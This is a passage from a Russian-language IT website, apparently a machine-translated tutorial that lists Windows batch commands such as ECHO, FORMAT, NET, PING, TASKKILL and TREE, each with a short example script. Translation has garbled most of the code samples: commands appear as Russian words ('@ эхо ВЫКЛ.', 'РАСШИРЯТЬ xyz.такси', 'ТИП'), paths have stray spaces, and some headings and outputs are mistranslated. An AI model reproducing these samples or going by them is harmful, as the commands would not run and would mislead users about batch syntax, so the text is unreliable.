<code> echo </code> также используется для принятия решения, отображать ли саму команду. Как и в этом примере, в первой строке мы отключили эхо, что гарантирует, что сами команды не выводятся.</p><p> Если бы это эхо не было выключено, то вывод был бы таким:</p><pre> <samp> C: \> echo Привет Привет </samp> </pre><p> Нажмите здесь, чтобы вернуться к списку команд</p><h5><span class="ez-toc-section" id="i-36"> <strong> ВЫХОД </strong> </span></h5><hr/><p> Пакетная команда <code> EXIT </code> завершает работу и закрывает консоль.</p><p> <strong> Пример </strong></p><pre> <code> @ эхо ВЫКЛ. эхо HI ВЫХОД </code> </pre><p> В этом примере, как только в консоли будет напечатано <code> HI </code>, команда <code> EXIT </code> завершит программу и закроет консоль вывода.</p><p> Нажмите здесь, чтобы вернуться к списку команд</p><h5><span class="ez-toc-section" id="i-37"> <strong> РАСШИРЯТЬ </strong> </span></h5><hr/><p> Пакетная команда <code> EXPAND </code> извлекает содержимое файла <code> .cab </code>.</p><p> <strong> Пример </strong></p><pre> <code> @ эхо ВЫКЛ. РАСШИРЯТЬ xyz.такси </code> </pre><p> Этот сценарий извлечет все содержимое файла <code> xyz.cab </code> в то же место, где находится <code> xyz.cab </code>.</p><p> Нажмите здесь, чтобы вернуться к списку команд</p><h5><span class="ez-toc-section" id="FC"> <strong> FC </strong> </span></h5><hr/><p> Пакетная команда <code> FC </code> находит разницу между двумя файлами и отображает их на консоли.</p><p> <strong> Пример </strong></p><pre> <code> @ эхо ВЫКЛ. FC D: \ a.txt D: \ b.txt </code> </pre><p> Этот сценарий найдет разницу в содержании обоих файлов и выведет список всех из них.</p><p> Нажмите здесь, чтобы вернуться к списку команд</p><h5><span class="ez-toc-section" id="i-38"> <strong> НАЙТИ </strong> </span></h5><hr/><p> Пакетная команда <code> НАЙТИ </code> выполняет поиск в заданном файле, чтобы найти нужную строку, и, если она найдена, отображает соответствующую строку, в которой существует строка.</p><p> <strong> Пример </strong></p><pre> <code> @ эхо ВЫКЛ. НАЙТИ "найди меня" example.txt </code> </pre><p> Этот сценарий будет искать строку «найди меня» в файле example.txt и, если она существует в example.txt, отобразит соответствующую строку на консоли.</p><p> Нажмите здесь, чтобы вернуться к списку команд</p><h5><span class="ez-toc-section" id="i-39"> <strong> ФОРМАТ </strong> </span></h5><hr/><p> Пакетная команда <code> FORMAT </code> используется для форматирования диска формата FAT 16/32 или NTFS в Windows.</p><p> <strong> Пример </strong></p><pre> <code> @ эхо ВЫКЛ. ФОРМАТ E: \ </code> </pre><p> Этот сценарий отформатирует диск E и перезапишет предыдущее содержимое.</p><p> Нажмите здесь, чтобы вернуться к списку команд</p><h5><span class="ez-toc-section" id="i-40"> <strong> СПРАВКА </strong> </span></h5><hr/><p> Это может быть одна из самых важных команд пакетного файла, потому что с помощью этой команды <code> HELP </code> мы можем узнать обо всех других командах, используемых в пакетном файле или командной строке.</p><p> <strong> Пример </strong></p><pre> <code> @ эхо ВЫКЛ. ПОМОГИТЕ </code> </pre><p> Теперь это отобразит все доступные команды с их функциями в консоли.</p><p></p><p> Поскольку список команд намного больше, мы разрезали его на части и показали несколько здесь.</p><p> Теперь, когда у нас есть список команд пакетного файла, мы также можем просмотреть подробную информацию об их синтаксисе и функциях следующим образом:</p><pre> <code> @ эхо ВЫКЛ. :: Просто введите help и команду, о которой хотите узнать. ПОМОЩЬ копия </code> </pre><p> Теперь это отобразит подробную информацию о команде копирования.</p><p></p><p> Как видите, <code> HELP COPY </code> отображает все подробности о команде <code> COPY </code>.</p><p> Нажмите здесь, чтобы вернуться к списку команд</p><h5><span class="ez-toc-section" id="IPCONFIG"> <strong> IPCONFIG </strong> </span></h5><hr/><p> Пакетная команда <code> IPCONFIG </code> отображает конфигурацию IP Windows.</p><p> <strong> Пример </strong></p><pre> <code> @ эхо ВЫКЛ. IPCONFIG </code> </pre><p> Этот сценарий сгенерирует следующий вывод.</p><p></p><p> стр.S: Мы скрыли адрес iPV6 в вышеприведенном выводе.</p><p> Нажмите здесь, чтобы вернуться к списку команд</p><h5><span class="ez-toc-section" id="i-41"> <strong> ТАБЛИЧКА </strong> </span></h5><hr/><p> Пакетная команда <code> LABEL </code> отображает метку диска или тома, а также используется для добавления, установки или удаления метки диска.</p><p> <strong> Пример </strong></p><pre> <code> @ эхо ВЫКЛ. МЕТКА </code> </pre><p> Теперь будет отображаться метка вашего рабочего каталога, и вы можете установить, удалить или добавить другую метку.</p><p> Например, мой рабочий каталог — D :, и на нем есть ярлык «приложения». Итак, он выдаст следующий результат:</p><p></p><p> Нажмите здесь, чтобы вернуться к списку команд</p><h5><span class="ez-toc-section" id="MD"> <strong> MD </strong> </span></h5><hr/><p> Пакетная команда <code> MD ​​</code> создает новый каталог или папку в рабочем каталоге.</p><p> <strong> Пример </strong></p><pre> <code> @ эхо ВЫКЛ. MD abc </code> </pre><p> Эта программа создаст новый каталог abc в текущем рабочем месте.</p><p> Нажмите здесь, чтобы вернуться к списку команд</p><h5><span class="ez-toc-section" id="i-42"> <strong> БОЛЬШЕ </strong> </span></h5><hr/><p> Пакетная команда <code> БОЛЬШЕ </code> отображает содержимое файла одно за другим.</p><p> <strong> Пример </strong></p><pre> <code> @ эхо ВЫКЛ. БОЛЬШЕ D: \ example.txt </code> </pre><p> Эта программа будет отображать содержимое example.txt построчно, по очереди.</p><p> Нажмите здесь, чтобы вернуться к списку команд</p><h5><span class="ez-toc-section" id="i-43"> <strong> ПЕРЕМЕЩЕНИЕ </strong> </span></h5><hr/><p> Эта пакетная команда перемещает файлы из одного каталога в другой, переименовывает каталоги и также перемещает каталоги.</p><p> <strong> Пример </strong></p><pre> <code> @ эхо ВЫКЛ. :: Чтобы переместить xyz.txt из dir1 в dir2 ПЕРЕМЕСТИТЬ C: \ dir1 \ xyz.txt C: \ dir2 :: Чтобы переименовать каталог dir1 в dir2 ПЕРЕМЕСТИТЬ C: \ Program \ dir1 C: \ Program \ dir2 :: Чтобы переместить каталог dir1 из D: \ в D: \ music ПЕРЕМЕСТИТЬ D: \ dir1 D: \ music \ </code> </pre><p> Таким образом, команда <code> MOVE </code> может использоваться для перемещения файлов, каталогов и переименования каталогов.</p><p> Нажмите здесь, чтобы вернуться к списку команд</p><h5><span class="ez-toc-section" id="i-44"> <strong> НЕТТО </strong> </span></h5><hr/><p> Пакетная команда <code> NET </code> используется для многих сетевых функций в зависимости от используемых команд.</p><p> <strong> Пример </strong></p><p> Для отображения пользователей:</p><pre> <code> @ эхо ВЫКЛ. NET пользователей </code> </pre><p> Это даст следующий результат:</p><p></p><p> Как и у пользователей, есть много других команд:</p><ul><li> чистые счета</li><li> чистый компьютер</li><li> чистая конфигурация</li><li> нетто продолжить</li><li> чистый файл</li><li> чистая группа</li><li> чистая помощь</li><li> чистое имя</li><li> чистая пауза</li><li> чистая печать</li><li> чистая отправка</li><li> чистая сессия</li><li> чистая доля</li><li> чистый старт</li><li> чистая статистика</li><li> чистый стоп</li><li> чистое время</li><li> чистое использование</li><li> вид нетто</li></ul><p> Щелкните здесь, чтобы вернуться к списку команд</p><h5><span class="ez-toc-section" id="i-45"> <strong> ПУТЬ </strong> </span></h5><hr/><p> Пакетная команда <code> PATH </code> отображает переменную пути или ее можно использовать для установки переменной пути.</p><p> <strong> Пример </strong></p><pre> <code> @ эхо ВЫКЛ. ECHO% PATH% </code> </pre><p> Эта программа отобразит путь к текущему рабочему каталогу.</p><p> Нажмите здесь, чтобы вернуться к списку команд</p><h5><span class="ez-toc-section" id="i-46"> <strong> ПАУЗА </strong> </span></h5><hr/><p> Пакетная команда <code> PAUSE </code> используется для удержания экрана вывода до тех пор, пока пользователь не введет переменную или значение.</p><p> <strong> Пример </strong></p><pre> <code> @ эхо ВЫКЛ. ЭХО привет Пауза </code> </pre><p> Эта программа напечатает <em> hi </em> в консоли и покажет сообщение «Нажмите любую клавишу, чтобы продолжить.. ’И дождитесь ввода от пользователя.</p><p> Нажмите здесь, чтобы вернуться к списку команд</p><h5><span class="ez-toc-section" id="i-47"> <strong> ПИНГ </strong> </span></h5><hr/><p> Пакетная команда <code> PING </code> используется для отправки пакетов ICMP / IP на указанный адрес по сети.</p><p> <strong> Пример </strong></p><pre> <code> @ эхо ВЫКЛ. ПИНГ 127.0.1.1 </code> </pre><p> <strong> Выход </strong></p><p> Этот сценарий отправляет пакеты на адрес 127.0.1.1, и вывод будет отображаться следующим образом:</p><pre> <samp> Пинг 127.0.1.1 с 32 байтами данных: Ответ от 127.0.1.1: байты = 32, время <1 мс TTL = 128 Ответ от 127.0.1.1: байты = 32, время <1 мс TTL = 128 Статистика пинга для 127.0.1.1: Пакеты: отправлено = 2, принято = 2, потеряно = 0 (потеря 0%), Приблизительное время в оба конца в миллисекундах: Минимум = 0 мс, Максимум = 0 мс, Среднее = 0 мс </samp> </pre><p> Нажмите здесь, чтобы вернуться к списку команд</p><h5><span class="ez-toc-section" id="RD"> <strong> RD </strong> </span></h5><hr/><p> Пакетная команда <code> RD </code> используется для удаления пустых каталогов, каталоги с содержимым или файлами внутри не могут быть удалены с помощью команды <code> RD </code>.</p><p> <strong> Пример </strong></p><pre> <code> @ эхо ВЫКЛ. :: Чтобы удалить каталог xyz из C: \> RD C: \ xyz :: Чтобы удалить несколько каталогов из рабочего места RD dir1 dir2 </code> </pre><p> Нажмите здесь, чтобы вернуться к списку команд</p><h5><span class="ez-toc-section" id="REM"> <strong> REM </strong> </span></h5><hr/><p> Пакетная команда <code> REM </code> обозначает комментарии в пакетном сценарии.</p><p> <strong> Пример </strong></p><pre> <code> @ эхо ВЫКЛ. REM Это комментарий </code> </pre><p> Все, что написано после <code> REM </code>, интерпретируется как комментарий и не выполняется в пакетных программах.</p><p> Нажмите здесь, чтобы вернуться к списку команд</p><h5><span class="ez-toc-section" id="REN"> <strong> REN </strong> </span></h5><hr/><p> Пакетная команда <code> REN </code> используется для переименования файлов и каталогов.</p><p> <strong> Пример </strong></p><pre> <code> @ эхо ВЫКЛ. :: Чтобы переименовать x.php в y.php REN C: \ x.php C: \ y.php </code> </pre><p> Нажмите здесь, чтобы вернуться к списку команд</p><h5><span class="ez-toc-section" id="i-48"> <strong> НАБОР </strong> </span></h5><hr/><p> Пакетная команда <code> SET </code> отображает список переменных среды системы.</p><p> <strong> Пример </strong></p><pre> <code> @ эхо ВЫКЛ. НАБОР </code> </pre><p> Нажмите здесь, чтобы вернуться к списку команд</p><h5><span class="ez-toc-section" id="i-49"> <strong> ВЫКЛЮЧЕНИЕ </strong> </span></h5><hr/><p> Пакетная команда <code> SHUTDOWN </code> при вызове выключает компьютер.</p><p> <strong> Пример </strong></p><pre> <code> @ эхо ВЫКЛ. ВЫКЛЮЧЕНИЕ </code> </pre><p> Нажмите здесь, чтобы вернуться к списку команд</p><h5><span class="ez-toc-section" id="i-50"> <strong> СОРТ </strong> </span></h5><hr/><p> Пакетная команда <code> SORT </code> используется для сортировки содержимого файла по алфавиту.</p><p> <strong> Пример </strong></p><pre> <code> @ эхо ВЫКЛ. СОРТИРОВАТЬ D: \ example.txt </code> </pre><p> Этот сценарий сортирует содержимое example.txt в алфавитном порядке по возрастанию или убыванию.</p><p> Нажмите здесь, чтобы вернуться к списку команд</p><h5><span class="ez-toc-section" id="i-51"> <strong> ПУСК </strong> </span></h5><hr/><p> Пакетная команда <code> START </code> используется для открытия файла или запуска новой программы.</p><p> <strong> Пример </strong></p><pre> <code> @ эхо ВЫКЛ. ЗАПУСК paint.exe </code> </pre><p> Эта программа запустит отрисовку приложения, если оно находится в рабочем месте, иначе вам также придется явно указать путь к этой программе.</p><p> Нажмите здесь, чтобы вернуться к списку команд</p><h5><span class="ez-toc-section" id="i-52"> <strong> СИСТЕМНАЯ ИНФОРМАЦИЯ </strong> </span></h5><hr/><p> Пакетная команда <code> SYSTEMINFO </code> отображает всю конфигурацию компьютера и операционной системы.</p><p> <strong> Пример </strong></p><pre> <code> @ эхо ВЫКЛ. SYSTEMINFO </code> </pre><p> Это сгенерирует следующий вывод в зависимости от компьютера:</p><p></p><p> Конечно, подробностей будет гораздо больше, но, пожалуйста, попробуйте посмотреть на своем ПК.</p><p> Нажмите здесь, чтобы вернуться к списку команд</p><h5><span class="ez-toc-section" id="i-53"> <strong> ТАСККИЛЛ </strong> </span></h5><hr/><p> Пакетная команда <code> TASKKILL <code> используется для завершения запущенной задачи </code> </code></p><p> <strong> Пример </strong></p><p> Если вы должны были прервать работу блокнота на вашем ПК, то используется следующий сценарий.</p><pre> <code> @ эхо ВЫКЛ. TASKKILL / им notepad.exe </code> </pre><p> Нажмите здесь, чтобы вернуться к списку команд</p><h5><span class="ez-toc-section" id="i-54"> <strong> СПИСОК ЗАДАЧ </strong> </span></h5><hr/><p> Пакетная команда <code> TASKLIST </code> выводит список всех запущенных задач в консоли.</p><p> <strong> Пример </strong></p><pre> <code> @ эхо ВЫКЛ. СПИСОК ЗАДАЧ </code> </pre><p> Нажмите здесь, чтобы вернуться к списку команд</p><h5><span class="ez-toc-section" id="i-55"> <strong> ВРЕМЯ </strong> </span></h5><hr/><p> Пакетная команда <code> TIME </code> используется для отображения или установки системного времени.</p><p> <strong> Пример </strong></p><pre> <code> @ эхо ВЫКЛ. ЭХО% ВРЕМЯ% </code> </pre><p> <strong> Выход </strong></p><pre> <samp> 18: 01: 22: 06 </samp> </pre><p> Текущее время отображается в консоли.</p><p> Нажмите здесь, чтобы вернуться к списку команд</p><h5><span class="ez-toc-section" id="i-56"> <strong> НАЗВАНИЕ </strong> </span></h5><hr/><p> Пакетная команда <code> TITLE </code> устанавливает новый заголовок для консоли вывода.</p><p> <strong> Пример </strong></p><pre> <code> @ эхо ВЫКЛ. TITLE Новая консоль </code> </pre><p> Этот скрипт установит заголовок консоли вывода на «Новая консоль». Таким образом, консоль вывода будет выглядеть так:</p><p></p><p> Нажмите здесь, чтобы вернуться к списку команд</p><h5><span class="ez-toc-section" id="i-57"> <strong> ДЕРЕВО </strong> </span></h5><hr/><p> Пакетная команда <code> TREE </code> отображает древовидную диаграмму подкаталогов до последнего уровня.</p><p> <strong> Пример </strong></p><p> У меня есть папка фильмы. Итак, если бы я запустил <code> TREE </code> в этой папке с фильмами, он создаст дерево фильмов внутри этой папки, а также подкаталоги, в которых есть файл фильма и файл субтитров.</p><pre> <code> @ эхо ВЫКЛ. ДЕРЕВО D: \ movies </code> </pre><p> <strong> Выход </strong></p><p> Этот сценарий сгенерирует следующий вывод.</p><p></p><p> Нажмите здесь, чтобы вернуться к списку команд</p><h5><span class="ez-toc-section" id="i-58"> <strong> ТИП </strong> </span></h5><hr/><p> Пакетная команда <code> TYPE </code> используется для отображения содержимого файла на консоли вывода.</p><p> <strong> Пример </strong></p><pre> <code> @ эхо ВЫКЛ. ТИП C: \ notes.txt Пауза </code> </pre><p> Эта программа выведет на консоль все содержимое файла <code> notes.txt </code>.</p><p> Нажмите здесь, чтобы вернуться к списку команд</p><h5><span class="ez-toc-section" id="i-59"> <strong> ВЕР </strong> </span></h5><hr/><p> Пакетная команда <code> VER </code> отображает версию Windows или MS-DOS.</p><p> <strong> Пример </strong></p><pre> <code> @ эхо ВЫКЛ. VER пауза </code> </pre><p> <strong> Выход </strong></p><pre> <samp> Microsoft Windows [Версия 10.0,14393] </samp> </pre><p> Нажмите здесь, чтобы вернуться к списку команд</p><h5><span class="ez-toc-section" id="i-60"> <strong> ТОМ </strong> </span></h5><hr/><p> Пакетная команда <code> VOL </code> отображает текущую метку тома Windows.</div></article><nav class="navigation post-navigation" aria-label="Записи"><h2 class="screen-reader-text">Навигация по записям</h2><div class="nav-links"><div class="nav-previous"><a href="https://pk-region.ru/nastrojk-3/kak-zajti-v-nastrojki-routera-byfly-nastrojka-wi-fi-na-byfly.html" rel="prev">Как зайти в настройки роутера byfly: Настройка Wi-Fi на Byfly</a></div><div class="nav-next"><a href="https://pk-region.ru/raznoe-2/ip-kamera-dlya-videonablyudeniya-cherez-wifi-videonablyudenie-cherez-internet-4-sposoba-nastrojki-udalennogo-dostupa-k-ip-kameram.html" rel="next">Ip камера для видеонаблюдения через wifi: Видеонаблюдение через интернет: 4 способа настройки удаленного доступа к IP камерам</a></div></div></nav><div id="comments" class="comments-area"><div id="respond" class="comment-respond"><h3 id="reply-title" class="comment-reply-title">Добавить комментарий <small><a rel="nofollow" id="cancel-comment-reply-link" href="/raznoe-2/sozdanie-bat-fajlov-kak-sozdat-bat-fajl-paketnyj-fajl.html#respond" style="display:none;">Отменить ответ</a></small></h3><form action="https://pk-region.ru/wp-comments-post.php" method="post" id="commentform" class="comment-form" novalidate><p class="comment-notes"><span id="email-notes">Ваш адрес email не будет опубликован.</span> <span class="required-field-message">Обязательные поля помечены <span class="required">*</span></span></p><p class="comment-form-comment"><label for="comment">Комментарий <span class="required">*</span></label><textarea id="comment" name="comment" cols="45" rows="8" maxlength="65525" required></textarea></p><p class="comment-form-author"><label for="author">Имя <span class="required">*</span></label> <input id="author" name="author" type="text" value="" size="30" maxlength="245" autocomplete="name" required /></p><p class="comment-form-email"><label for="email">Email <span class="required">*</span></label> <input id="email" name="email" type="email" value="" size="30" maxlength="100" aria-describedby="email-notes" autocomplete="email" required /></p><p class="comment-form-url"><label for="url">Сайт</label> <input id="url" name="url" type="url" value="" size="30" maxlength="200" autocomplete="url" /></p><p class="form-submit"><input name="submit" type="submit" id="submit" class="submit" value="Отправить комментарий" /> <input type='hidden' name='comment_post_ID' value='8986' id='comment_post_ID' /> <input type='hidden' name='comment_parent' id='comment_parent' value='0' /></p></form></div></div></main></div><aside id="secondaryright" class="widget-area" role="complementary"><section id="search-2" class="widget clearfix widget_search"><form role="search" method="get" class="search-form" action="https://pk-region.ru/"> <label> <span class="screen-reader-text">Найти:</span> <input type="search" class="search-field" placeholder="Поиск…" value="" name="s" /> </label> <input type="submit" class="search-submit" value="Поиск" /></form></section><section id="nav_menu-2" class="widget clearfix widget_nav_menu"><h3 class="widget-title">Рубрики</h3><div class="menu-2-container"><ul id="menu-2" class="menu"><li id="menu-item-6318" class="menu-item menu-item-type-taxonomy menu-item-object-category menu-item-6318"><a href="https://pk-region.ru/category/texnologi">IT ликбез</a></li><li id="menu-item-6319" class="menu-item menu-item-type-taxonomy menu-item-object-category menu-item-6319"><a href="https://pk-region.ru/category/raznoe">Заметки айтишника</a></li><li id="menu-item-6320" class="menu-item menu-item-type-taxonomy menu-item-object-category menu-item-6320"><a href="https://pk-region.ru/category/nastrojk-2">Настройка</a></li><li id="menu-item-6321" class="menu-item menu-item-type-taxonomy menu-item-object-category menu-item-6321"><a href="https://pk-region.ru/category/nastrojk">Настройка коммуникаций</a></li><li id="menu-item-6322" class="menu-item menu-item-type-taxonomy menu-item-object-category menu-item-6322"><a href="https://pk-region.ru/category/obzor">Обзоры</a></li><li id="menu-item-6323" class="menu-item menu-item-type-taxonomy menu-item-object-category menu-item-6323"><a href="https://pk-region.ru/category/programm-2">Программы</a></li><li id="menu-item-6325" class="menu-item menu-item-type-taxonomy menu-item-object-category menu-item-6325"><a href="https://pk-region.ru/category/sbork-2">Сборка ПК</a></li><li id="menu-item-6326" class="menu-item menu-item-type-taxonomy menu-item-object-category menu-item-6326"><a href="https://pk-region.ru/category/texnologi-2">Технологии</a></li><li id="menu-item-6324" class="menu-item menu-item-type-taxonomy menu-item-object-category current-post-ancestor current-menu-parent current-post-parent menu-item-6324"><a href="https://pk-region.ru/category/raznoe-2">Разное</a></li></ul></div></section></aside></div></div></div><footer id="colophon" class="site-footer" role="contentinfo"><div class="bottom-footer-wrap clearfix"><div class="store-container"><div class="site-info"> Все права защищены, 2019<p><a href="/sitemap.xml" class="c_sitemap">Карта сайта</a></p></div><div class="payment-accept"></div></footer> <a href="#" class="scrollup"><i class="fa fa-angle-up" aria-hidden="true"></i> </a></div> <noscript><style>.lazyload{display:none}</style></noscript><script data-noptimize="1">window.lazySizesConfig=window.lazySizesConfig||{};window.lazySizesConfig.loadMode=1;</script><script async data-noptimize="1" src='https://pk-region.ru/wp-content/plugins/autoptimize/classes/external/js/lazysizes.min.js'></script> <!-- noptimize --> <style>iframe,object{width:100%;height:480px}img{max-width:100%}</style><script>new Image().src="//counter.yadro.ru/hit?r"+escape(document.referrer)+((typeof(screen)=="undefined")?"":";s"+screen.width+"*"+screen.height+"*"+(screen.colorDepth?screen.colorDepth:screen.pixelDepth))+";u"+escape(document.URL)+";h"+escape(document.title.substring(0,150))+";"+Math.random();</script> <!-- /noptimize --> <script defer src="https://pk-region.ru/wp-content/cache/autoptimize/js/autoptimize_7554ba072e157af80898c90b7dd9337d.js"></script></body></html><script src="/cdn-cgi/scripts/7d0fa10a/cloudflare-static/rocket-loader.min.js" data-cf-settings="fa401045c61c39513e790a58-|49" defer></script><script data-cfasync="false" src="/cdn-cgi/scripts/5c5dd728/cloudflare-static/email-decode.min.js"></script>